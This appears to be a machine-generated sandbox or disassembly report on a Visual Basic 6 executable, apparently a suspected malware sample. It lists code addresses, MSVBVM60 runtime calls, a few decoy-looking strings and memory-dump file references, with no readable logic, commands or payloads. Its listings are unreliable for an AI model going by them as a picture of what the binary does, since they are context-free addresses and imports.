0x0040f19f
0x0040f1ac
0x0040f1d1
0x0040f1ae
0x0040f1ae
0x0040f1b3
0x0040f1b8
0x0040f1be
0x0040f1c4
0x0040f1c9
0x0040f1c9
0x0040f1df
0x0040f1fc
0x0040f1e1
0x0040f1e1
0x0040f1e6
0x0040f1eb
0x0040f1f0
0x0040f1f0
0x0040f216
0x0040f220
0x0040f224
0x0040f229
0x0040f244
0x0040f24a
0x0040f24c
0x0040f259
0x0040f27e
0x0040f25b
0x0040f25b
0x0040f260
0x0040f265
0x0040f26b
0x0040f271
0x0040f276
0x0040f276
0x0040f28b
0x0040f291
0x0040f2a6
0x0040f2c5
0x0040f2d1
0x0040f2d9
0x0040f2dd
0x0040f2e1
0x0040f2e2
0x0040f2e4
0x0040f2e9
0x0040f2f3
0x0040f310
0x0040f2f5
0x0040f2f5
0x0040f2fa
0x0040f2ff
0x0040f304
0x0040f304
0x0040f32a
0x0040f334
0x0040f338
0x0040f33d
0x0040f358
0x0040f35e
0x0040f360
0x0040f36d
0x0040f392
0x0040f36f
0x0040f36f
0x0040f374
0x0040f379
0x0040f37f
0x0040f385
0x0040f38a
0x0040f38a
0x0040f39f
0x0040f3a5
0x0040f3af
0x0040f3bf
0x0040f3c5
0x0040f3d5
0x0040f3e3
0x0040f40e
0x0040f420
0x0040f426
0x0040f433
0x0040f455
0x0040f435
0x0040f435
0x0040f43a
0x0040f43f
0x0040f442
0x0040f448
0x0040f44d
0x0040f44d
0x0040f45f
0x0040f46b
0x0040f488
0x0040f46d
0x0040f46d
0x0040f472
0x0040f477
0x0040f47c
0x0040f47c
0x0040f4ac
0x0040f4b0
0x0040f4b5
0x0040f4cd
0x0040f4d3
0x0040f4d5
0x0040f4e2
0x0040f507
0x0040f4e4
0x0040f4e4
0x0040f4e9
0x0040f4ee
0x0040f4f4
0x0040f4fa
0x0040f4ff
0x0040f4ff
0x0040f515
0x0040f532
0x0040f517
0x0040f517
0x0040f51c
0x0040f521
0x0040f526
0x0040f526
0x0040f556
0x0040f55a
0x0040f55f
0x0040f57a
0x0040f57d
0x0040f57f
0x0040f58c
0x0040f5ae
0x0040f58e
0x0040f58e
0x0040f590
0x0040f595
0x0040f59b
0x0040f5a1
0x0040f5a6
0x0040f5a6
0x0040f5bb
0x0040f5c1
0x0040f5ce
0x0040f5d4
0x0040f5de
0x0040f5e1
0x0040f5e8
0x0040f5f2
0x0040f601
0x0040f618
0x0040f622
0x0040f623
0x0040f624
0x0040f625
0x0040f661
0x0040f667
0x0040f674
0x0040f696
0x0040f676
0x0040f676
0x0040f67b
0x0040f680
0x0040f683
0x0040f689
0x0040f68e
0x0040f68e
0x0040f6a3
0x0040f6ac
0x0040f6b2
0x0040f6b6
0x0040f6b7
0x0040f6b9
0x0040f6c7
0x0040f6cb
0x0040f6cc
0x0040f6ce
0x0040f6d3
0x0040f6dd
0x0040f6fa
0x0040f6df
0x0040f6df
0x0040f6e4
0x0040f6e9
0x0040f6ee
0x0040f6ee
0x0040f71e
0x0040f722
0x0040f727
0x0040f742
0x0040f748
0x0040f74a
0x0040f757
0x0040f77c
0x0040f759
0x0040f759
0x0040f75e
0x0040f763
0x0040f769
0x0040f76f
0x0040f774
0x0040f774
0x0040f78a
0x0040f7a7
0x0040f78c
0x0040f78c
0x0040f791
0x0040f796
0x0040f79b
0x0040f79b
0x0040f7cb
0x0040f7cf
0x0040f7d4
0x0040f7ef
0x0040f7f5
0x0040f7f7
0x0040f804
0x0040f829
0x0040f806
0x0040f806
0x0040f80b
0x0040f810
0x0040f816
0x0040f81c
0x0040f821
0x0040f821
0x0040f837
0x0040f854
0x0040f839
0x0040f839
0x0040f83e
0x0040f843
0x0040f848
0x0040f848
0x0040f878
0x0040f87c
0x0040f881
0x0040f89c
0x0040f8a2
0x0040f8a4
0x0040f8b1
0x0040f8d6
0x0040f8b3
0x0040f8b3
0x0040f8b8
0x0040f8bd
0x0040f8c3
0x0040f8c9
0x0040f8ce
0x0040f8ce
0x0040f8e4
0x0040f901
0x0040f8e6
0x0040f8e6
0x0040f8eb
0x0040f8f0
0x0040f8f5
0x0040f8f5
0x0040f91b
0x0040f925
0x0040f929
0x0040f92e
0x0040f949
0x0040f94f
0x0040f951
0x0040f95e
0x0040f983
0x0040f960
0x0040f960
0x0040f965
0x0040f96a
0x0040f970
0x0040f976
0x0040f97b
0x0040f97b
0x0040f990
0x0040f996
0x0040f9a5
0x0040f9ab
0x0040f9b5
0x0040f9c6
0x0040f9f4
0x0040fa01
0x0040fa0e
0x0040fa0f
0x0040fa10
0x0040fa11
0x0040fa21
0x0040fa2d
0x0040fa33
0x0040fa37
0x0040fa3b
0x0040fa3f
0x0040fa40
0x0040fa42
0x0040fa47
0x0040fa51
0x0040fa6e
0x0040fa53
0x0040fa53
0x0040fa58
0x0040fa5d
0x0040fa62
0x0040fa62
0x0040fa92
0x0040fa96
0x0040fa9b
0x0040fab6
0x0040fabc
0x0040fabe
0x0040facb
0x0040faf0
0x0040facd
0x0040facd
0x0040fad2
0x0040fad7
0x0040fadd
0x0040fae3
0x0040fae8
0x0040fae8
0x0040fafe
0x0040fb1b
0x0040fb00
0x0040fb00
0x0040fb05
0x0040fb0a
0x0040fb0f
0x0040fb0f
0x0040fb3f
0x0040fb43
0x0040fb48
0x0040fb63
0x0040fb66
0x0040fb68
0x0040fb75
0x0040fb97
0x0040fb77
0x0040fb77
0x0040fb79
0x0040fb7e
0x0040fb84
0x0040fb8a
0x0040fb8f
0x0040fb8f
0x0040fba5
0x0040fbc2
0x0040fba7
0x0040fba7
0x0040fbac
0x0040fbb1
0x0040fbb6
0x0040fbb6
0x0040fbe6
0x0040fbea
0x0040fbef
0x0040fc0a
0x0040fc0d
0x0040fc0f
0x0040fc1c
0x0040fc3e
0x0040fc1e
0x0040fc1e
0x0040fc20
0x0040fc25
0x0040fc2b
0x0040fc31
0x0040fc36
0x0040fc36
0x0040fc4c
0x0040fc69
0x0040fc4e
0x0040fc4e
0x0040fc53
0x0040fc58
0x0040fc5d
0x0040fc5d
0x0040fc8d
0x0040fc91
0x0040fc96
0x0040fcb1
0x0040fcb7
0x0040fcb9
0x0040fcc6
0x0040fceb
0x0040fcc8
0x0040fcc8
0x0040fccd
0x0040fcd2
0x0040fcd8
0x0040fcde
0x0040fce3
0x0040fce3
0x0040fcf8
0x0040fcfe
0x0040fd0e
0x0040fd14
0x0040fd23
0x0040fd29
0x0040fd33
0x0040fd3d
0x0040fd50
0x0040fd6d
0x0040fd97
0x0040fdaf
0x0040fdcb
0x0040fdd0
0x0040fdd3
0x0040fddd
0x0040fe07
0x0040fe13
0x0040fe1d
0x0040fe3a
0x0040fe1f
0x0040fe1f
0x0040fe24
0x0040fe29
0x0040fe2e
0x0040fe2e
0x0040fe5e
0x0040fe62
0x0040fe67
0x0040fe82
0x0040fe88
0x0040fe8a
0x0040fe97
0x0040febc
0x0040fe99
0x0040fe99
0x0040fe9e
0x0040fea3
0x0040fea9
0x0040feaf
0x0040feb4
0x0040feb4
0x0040fec3
0x0040fecd
0x0040fedd
0x0040fefe
0x0040ff04
0x0040ff11
0x0040ff33
0x0040ff13
0x0040ff13
0x0040ff18
0x0040ff1d
0x0040ff20
0x0040ff26
0x0040ff2b
0x0040ff2b
0x0040ff3d
0x0040ff4a
0x0040ff50
0x0040ff5a
0x0040ff6a
0x0040ff6d
0x0040ff7e
0x0040ff89
0x0040ff8f
0x0040ff9c
0x0040ffbe
0x0040ff9e
0x0040ff9e
0x0040ffa3
0x0040ffa8
0x0040ffab
0x0040ffb1
0x0040ffb6
0x0040ffb6
0x0040ffc8
0x0040ffd4
0x0040fff1
0x0040ffd6
0x0040ffd6
0x0040ffdb
0x0040ffe0
0x0040ffe5
0x0040ffe5
0x00410015
0x00410019
0x0041001e
0x00410036
0x0041003c
0x0041003e
0x0041004b
0x00410070
0x0041004d
0x0041004d
0x00410052
0x00410057
0x0041005d
0x00410063
0x00410068
0x00410068
0x00410077
0x00410079
0x0041007b
0x00410081
0x00410082
0x00410087
0x00410091
0x004100ae
0x00410093
0x00410093
0x00410098
0x0041009d
0x004100a2
0x004100a2
0x004100d2
0x004100d6
0x004100db
0x004100f6
0x004100fc
0x004100fe
0x0041010b
0x00410130
0x0041010d
0x0041010d
0x00410112
0x00410117
0x0041011d
0x00410123
0x00410128
0x00410128
0x0041013e
0x0041015b
0x00410140
0x00410140
0x00410145
0x0041014a
0x0041014f
0x0041014f
0x00410175
0x0041017f
0x00410183
0x00410188
0x004101a3
0x004101a6
0x004101a8
0x004101b5
0x004101d7
0x004101b7
0x004101b7
0x004101b9
0x004101be
0x004101c4
0x004101ca
0x004101cf
0x004101cf
0x004101de
0x004101e7
0x004101eb
0x004101f0
0x004101f6
0x00410200
0x00410210
0x00410224
0x0041024e
0x00410260
0x00410266
0x00410273
0x00410295
0x00410275
0x00410275
0x0041027a
0x0041027f
0x00410282
0x00410288
0x0041028d
0x0041028d
0x004102a2
0x004102a8
0x004102ac
0x004102b0
0x004102b4
0x004102b5
0x004102b7
0x004102bc
0x004102c2
0x004102ce
0x004102eb
0x004102d0
0x004102d0
0x004102d5
0x004102da
0x004102df
0x004102df
0x0041030f
0x00410313
0x00410318
0x00410330
0x00410336
0x00410338
0x00410345
0x0041036a
0x00410347
0x00410347
0x0041034c
0x00410351
0x00410357
0x0041035d
0x00410362
0x00410362
0x00410378
0x00410395
0x0041037a
0x0041037a
0x0041037f
0x00410384
0x00410389
0x00410389
0x004103af
0x004103b9
0x004103bd
0x004103c2
0x004103dd
0x004103e3
0x004103e5
0x004103f2
0x00410417
0x004103f4
0x004103f4
0x004103f9
0x004103fe
0x00410404
0x0041040a
0x0041040f
0x0041040f
0x0041041e
0x00410427
0x00410430
0x0041043a
0x00410447
0x0041044d
0x00410457
0x0041045a
0x00410470
0x00410487
0x00410494
0x0041049e
0x0041049f
0x004104a0
0x004104a1
0x004104aa
0x004104b3
0x004104b7
0x004104b8
0x004104ba
0x004104bf
0x004104c5
0x004104d1
0x004104ee
0x004104d3
0x004104d3
0x004104d8
0x004104dd
0x004104e2
0x004104e2
0x00410512
0x00410516
0x0041051b
0x00410536
0x0041053c
0x0041053e
0x0041054b
0x00410570
0x0041054d
0x0041054d
0x00410552
0x00410557
0x0041055d
0x00410563
0x00410568
0x00410568
0x0041057e
0x0041059b
0x00410580
0x00410580
0x00410585
0x0041058a
0x0041058f
0x0041058f
0x004105bf
0x004105c3
0x004105c8
0x004105e0
0x004105e6
0x004105e8
0x004105f5
0x0041061a
0x004105f7
0x004105f7
0x004105fc
0x00410601
0x00410607
0x0041060d
0x00410612
0x00410612
0x0041062c
0x0041063a
0x00410646
0x00410653
0x00410657
0x00410673
0x00410682
0x0041068a
0x0041068e
0x00410692
0x00410693
0x00410695
0x0041069a
0x004106a0
0x004106ac
0x004106c9
0x004106ae
0x004106ae
0x004106b3
0x004106b8
0x004106bd
0x004106bd
0x004106ed
0x004106f1
0x004106f6
0x00410711
0x00410714
0x00410716
0x00410723
0x00410745
0x00410725
0x00410725
0x00410727
0x0041072c
0x00410732
0x00410738
0x0041073d
0x0041073d
0x00410753
0x00410770
0x00410755
0x00410755
0x0041075a
0x0041075f
0x00410764
0x00410764
0x00410794
0x00410798
0x0041079d
0x004107b5
0x004107bb
0x004107bd
0x004107ca
0x004107ef
0x004107cc
0x004107cc
0x004107d1
0x004107d6
0x004107dc
0x004107e2
0x004107e7
0x004107e7
0x004107f9
0x004107ff
0x00410809
0x0041080f
0x00410819
0x00410823
0x00410836
0x00410853
0x00410867
0x00410870
0x00410874
0x00410875
0x00410877
0x00410885
0x00410889
0x0041088a
0x0041088c
0x00410891
0x0041089b
0x004108b8
0x0041089d
0x0041089d
0x004108a2
0x004108a7
0x004108ac
0x004108ac
0x004108d2
0x004108dc
0x004108e0
0x004108e5
0x00410900
0x00410906
0x00410908
0x00410915
0x0041093a
0x00410917
0x00410917
0x0041091c
0x00410921
0x00410927
0x0041092d
0x00410932
0x00410932
0x00410941
0x0041094b
0x00410955
0x0041095f
0x0041096f
0x00410984
0x004109a2
0x004109af
0x004109b0
0x004109b1
0x004109b2
0x004109c2
0x004109ce
0x004109d4
0x004109e0
0x004109fd
0x004109e2
0x004109e2
0x004109e7
0x004109ec
0x004109f1
0x004109f1
0x00410a21
0x00410a25
0x00410a2a
0x00410a45
0x00410a4b
0x00410a4d
0x00410a5a
0x00410a7f
0x00410a5c
0x00410a5c
0x00410a61
0x00410a66
0x00410a6c
0x00410a72
0x00410a77
0x00410a77
0x00410a86
0x00410a90
0x00410aa2
0x00410ac0
0x00410ac6
0x00410ad3
0x00410af5
0x00410ad5
0x00410ad5
0x00410ada
0x00410adf
0x00410ae2
0x00410ae8
0x00410aed
0x00410aed
0x00410aff
0x00410b07
0x00410b13
0x00410b30
0x00410b15
0x00410b15
0x00410b1a
0x00410b1f
0x00410b24
0x00410b24
0x00410b54
0x00410b58
0x00410b5d
0x00410b75
0x00410b7b
0x00410b7d
0x00410b8a
0x00410baf
0x00410b8c
0x00410b8c
0x00410b91
0x00410b96
0x00410b9c
0x00410ba2
0x00410ba7
0x00410ba7
0x00410bb6
0x00410bb8
0x00410bba
0x00410bc0
0x00410bc1
0x00410bd0
0x00410bed
0x00410bd2
0x00410bd2
0x00410bd7
0x00410bdc
0x00410be1
0x00410be1
0x00410c11
0x00410c15
0x00410c1a
0x00410c32
0x00410c38
0x00410c3a
0x00410c47
0x00410c6c
0x00410c49
0x00410c49
0x00410c4e
0x00410c53
0x00410c59
0x00410c5f
0x00410c64
0x00410c64
0x00410c7a
0x00410c97
0x00410c7c
0x00410c7c
0x00410c81
0x00410c86
0x00410c8b
0x00410c8b
0x00410cbb
0x00410cbf
0x00410cc4
0x00410cdc
0x00410ce2
0x00410ce4
0x00410cf1
0x00410d16
0x00410cf3
0x00410cf3
0x00410cf8
0x00410cfd
0x00410d03
0x00410d09
0x00410d0e
0x00410d0e
0x00410d2b
0x00410d33
0x00410d3a
0x00410d3f
0x00410d4b
0x00410d54
0x00410d5a
0x00410d64
0x00410d6a
0x00410d78
0x00410d82
0x00410d8d
0x00410dae
0x00410dbb
0x00410dbc
0x00410dbd
0x00410dbe
0x00410de6
0x00410dec
0x00410df9
0x00410e1b
0x00410dfb
0x00410dfb
0x00410e00
0x00410e05
0x00410e08
0x00410e0e
0x00410e13
0x00410e13
0x00410e25
0x00410e2d
0x00410e31
0x00410e35
0x00410e39
0x00410e3d
0x00410e3e
0x00410e40
0x00410e4e
0x00410e55
0x00410e59
0x00410e5a
0x00410e5c
0x00410e6b
0x00410e88
0x00410e6d
0x00410e6d
0x00410e72
0x00410e77
0x00410e7c
0x00410e7c
0x00410eac
0x00410eb0
0x00410eb5
0x00410ed0
0x00410ed6
0x00410ed8
0x00410ee5
0x00410f0a
0x00410ee7
0x00410ee7
0x00410eec
0x00410ef1
0x00410ef7
0x00410efd
0x00410f02
0x00410f02
0x00410f17
0x00410f23
0x00410f29
0x00410f50
0x00410f59
0x00410f6d
0x00410f73
0x00410f7a
0x00410f7b
0x00410fcc
0x00410fd4
0x00410fd9

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0040EFA2
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?,?,004012E6), ref: 0040EFE3
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F01C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,000001C8), ref: 0040F062
__vbaFreeObj.MSVBVM60(00000000,?,004028F4,000001C8), ref: 0040F079
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040F091
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F0CA
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000001E8), ref: 0040F117
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040F13E
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F177
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000001C0), ref: 0040F1C4
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040F1EB
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F224
__vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,00000080), ref: 0040F271
__vbaVarMove.MSVBVM60(?,?), ref: 0040F2D1
__vbaFreeObjList.MSVBVM60(00000003,?,?,?,?,?), ref: 0040F2E4
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?,004012E6), ref: 0040F2FF
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F338
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402914,00000128), ref: 0040F385
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,00402740,000006F8,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F448
__vbaFreeObj.MSVBVM60(?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F45F
__vbaNew2.MSVBVM60(00401FD0,Prt,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F477
__vbaObjSet.MSVBVM60(?,00000000,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F4B0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402924,00000110,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F4FA
__vbaNew2.MSVBVM60(00401FD0,Prt,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F521
__vbaObjSet.MSVBVM60(?,00000000,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F55A
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402914,00000068,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F5A1
__vbaChkstk.MSVBVM60(00000003,018AE480,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F618
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,00402740,000006FC,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F689
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F6B9
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,004012E6), ref: 0040F6CE
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?,?,?,?,?,?,?,004012E6), ref: 0040F6E9
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F722
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000000F8), ref: 0040F76F
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040F796
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F7CF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402914,00000128), ref: 0040F81C
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040F843
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F87C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402924,00000140), ref: 0040F8C9
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040F8F0
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F929
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402934,00000130), ref: 0040F976
__vbaChkstk.MSVBVM60(?,?,?,00002258,?,005BA9CD,?), ref: 0040FA01
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?,?,?,00002258,?,005BA9CD,?), ref: 0040FA42
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040FA5D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FA96
__vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,00000178), ref: 0040FAE3
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040FB0A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FB43
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000058), ref: 0040FB8A
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040FBB1
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FBEA
__vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,00000070), ref: 0040FC31
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040FC58
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FC91
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000001C0), ref: 0040FCDE
__vbaVarDup.MSVBVM60(00000000,?,00402904,000001C0), ref: 0040FD50
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?,?,00000003,60B8CA80,00005B04), ref: 0040FDAF
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0040FDCB
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0040FE29
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FE62
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000170), ref: 0040FEAF
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,00402740,00000700), ref: 0040FF26
__vbaFreeObj.MSVBVM60(00000000,004011B0,00402740,00000700), ref: 0040FF3D
__vbaVarDup.MSVBVM60 ref: 0040FF6D
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,00402740,00000704,?,?,?), ref: 0040FFB1
__vbaFreeVar.MSVBVM60(?,?,?), ref: 0040FFC8
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?), ref: 0040FFE0
__vbaObjSet.MSVBVM60(?,00000000,?,?,?), ref: 00410019
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402924,00000100,?,?,?), ref: 00410063
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?), ref: 00410082
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0041009D
__vbaObjSet.MSVBVM60(?,00000000), ref: 004100D6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000001E8), ref: 00410123
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0041014A
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410183
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000070), ref: 004101CA
__vbaI4Var.MSVBVM60(?), ref: 004101EB
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,00402740,00000708,?,3E88AF00,?,angiopathy,?,00005338,?,?,?), ref: 00410288
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?,?,3E88AF00,?,angiopathy,?,00005338,?,?,?), ref: 004102B7
__vbaFreeVar.MSVBVM60 ref: 004102C2
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 004102DA
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410313
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000138), ref: 0041035D
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 00410384
__vbaObjSet.MSVBVM60(?,00000000), ref: 004103BD
__vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,00000178), ref: 0041040A
__vbaChkstk.MSVBVM60(0D93E190,?,?,0000233C,?,?,00001383), ref: 00410494
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,0000233C,?,?,00001383), ref: 004104BA
__vbaFreeVar.MSVBVM60 ref: 004104C5
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 004104DD
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410516
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402924,00000180), ref: 00410563
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0041058A
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 004105C3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402924,00000168), ref: 0041060D
__vbaLateIdCallLd.MSVBVM60(00000009,?,00000000,00000000), ref: 0041062C
__vbaI4Var.MSVBVM60(00000009,?), ref: 00410657
__vbaVarMove.MSVBVM60 ref: 00410682
__vbaFreeObjList.MSVBVM60(00000003,?,00000000,?), ref: 00410695
__vbaFreeVar.MSVBVM60 ref: 004106A0
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 004106B8
__vbaObjSet.MSVBVM60(?,00000000), ref: 004106F1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000070), ref: 00410738
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 0041075F
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 00410798
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000238), ref: 004107E2
__vbaVarDup.MSVBVM60(00000000,?,00402904,00000238), ref: 00410836
__vbaFreeObjList.MSVBVM60(00000002,?,00000000,?,00000008,FA9C7910,00005B06), ref: 00410877
__vbaFreeVarList.MSVBVM60(00000002,00000009,00000008), ref: 0041088C
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 004108A7
__vbaObjSet.MSVBVM60(?,00000000), ref: 004108E0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,00000080), ref: 0041092D
__vbaChkstk.MSVBVM60(0083A9E4,0078288A,28619090,00005AF5,?,?,?), ref: 004109A2
__vbaFreeObj.MSVBVM60(?,?,?), ref: 004109D4
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?), ref: 004109EC
__vbaObjSet.MSVBVM60(?,00000000,?,?,?), ref: 00410A25
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402904,000000E0,?,?,?), ref: 00410A72
__vbaStrCopy.MSVBVM60(?,?,?), ref: 00410AA2
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,00402740,0000070C,?,?,?), ref: 00410AE8
__vbaFreeStr.MSVBVM60(?,?,?), ref: 00410AFF
__vbaFreeObj.MSVBVM60(?,?,?), ref: 00410B07
__vbaNew2.MSVBVM60(00401FD0,Prt,?,?,?), ref: 00410B1F
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?), ref: 00410B58
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402934,00000150,?,?,?,?,?), ref: 00410BA2
__vbaLateIdCallLd.MSVBVM60(00000009,00000000,00000000,00000000,?,?,?,?,?), ref: 00410BC1
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 00410BDC
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410C15
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402924,00000160), ref: 00410C5F
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 00410C86
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410CBF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402914,000000F0), ref: 00410D09
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00410D2B
__vbaI4Var.MSVBVM60(?), ref: 00410D3A
__vbaStrVarMove.MSVBVM60(00000009,?), ref: 00410D78
__vbaStrMove.MSVBVM60(00000009,?), ref: 00410D82
__vbaChkstk.MSVBVM60(?,lymphopoiesis,?,0059EB55,00000009,?), ref: 00410DAE
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,00402740,00000710), ref: 00410E0E
__vbaFreeStr.MSVBVM60(00000000,004011B0,00402740,00000710), ref: 00410E25
__vbaFreeObjList.MSVBVM60(00000005,?,?,?,00000000,?), ref: 00410E40
__vbaFreeVarList.MSVBVM60(00000003,00000009,00000009,?), ref: 00410E5C
__vbaNew2.MSVBVM60(00401FD0,Prt), ref: 00410E77
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410EB0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402914,00000128), ref: 00410EFD
__vbaFreeObj.MSVBVM60 ref: 00410F59
__vbaFreeVar.MSVBVM60(00410FDA), ref: 00410FCC
__vbaFreeVar.MSVBVM60(00410FDA), ref: 00410FD4

Strings

Antiracing2, xrefs: 0040FF50
uncomeliest, xrefs: 0040FEEA
8S, xrefs: 004101DE
R+?, xrefs: 0040F9AB
lymphopoiesis, xrefs: 00410D9F
Semipalmate, xrefs: 0040FD33
Zounds8, xrefs: 00410A9A
Inddatastrengens, xrefs: 00410819
angiopathy, xrefs: 00410234
Prt, xrefs: 0040EFD0, 0040EFD9, 0040EFE8, 0040EFF4, 0040F07E, 0040F087, 0040F096, 0040F0A2, 0040F12B, 0040F134, 0040F143, 0040F14F, 0040F1D8, 0040F1E1, 0040F1F0, 0040F1FC, 0040F2EC, 0040F2F5, 0040F304, 0040F310, 0040F464, 0040F46D, 0040F47C, 0040F488, 0040F50E, 0040F517, 0040F526, 0040F532, 0040F6D6, 0040F6DF, 0040F6EE, 0040F6FA, 0040F783, 0040F78C, 0040F79B, 0040F7A7, 0040F830, 0040F839, 0040F848, 0040F854, 0040F8DD, 0040F8E6, 0040F8F5, 0040F901, 0040FA4A, 0040FA53, 0040FA62, 0040FA6E, 0040FAF7, 0040FB00, 0040FB0F, 0040FB1B, 0040FB9E, 0040FBA7, 0040FBB6, 0040FBC2, 0040FC45, 0040FC4E, 0040FC5D, 0040FC69, 0040FE16, 0040FE1F, 0040FE2E, 0040FE3A, 0040FFCD, 0040FFD6, 0040FFE5, 0040FFF1, 0041008A, 00410093, 004100A2, 004100AE, 00410137, 00410140, 0041014F, 0041015B, 004102C7, 004102D0, 004102DF, 004102EB, 00410371, 0041037A, 00410389, 00410395, 004104CA, 004104D3, 004104E2, 004104EE, 00410577, 00410580, 0041058F, 0041059B, 004106A5, 004106AE, 004106BD, 004106C9, 0041074C, 00410755, 00410764, 00410770, 00410894, 0041089D, 004108AC, 004108B8, 004109D9, 004109E2, 004109F1, 004109FD, 00410B0C, 00410B15, 00410B24, 00410B30, 00410BC9, 00410BD2, 00410BE1, 00410BED, 00410C73, 00410C7C, 00410C8B, 00410C97, 00410E64, 00410E6D, 00410E7C, 00410E88
X", xrefs: 0040F996
<#, xrefs: 00410427

Memory Dump Source

Source File: 00000000.00000002.679466130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.679462208.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.679474835.0000000000413000.00000004.00020000.sdmp Download File
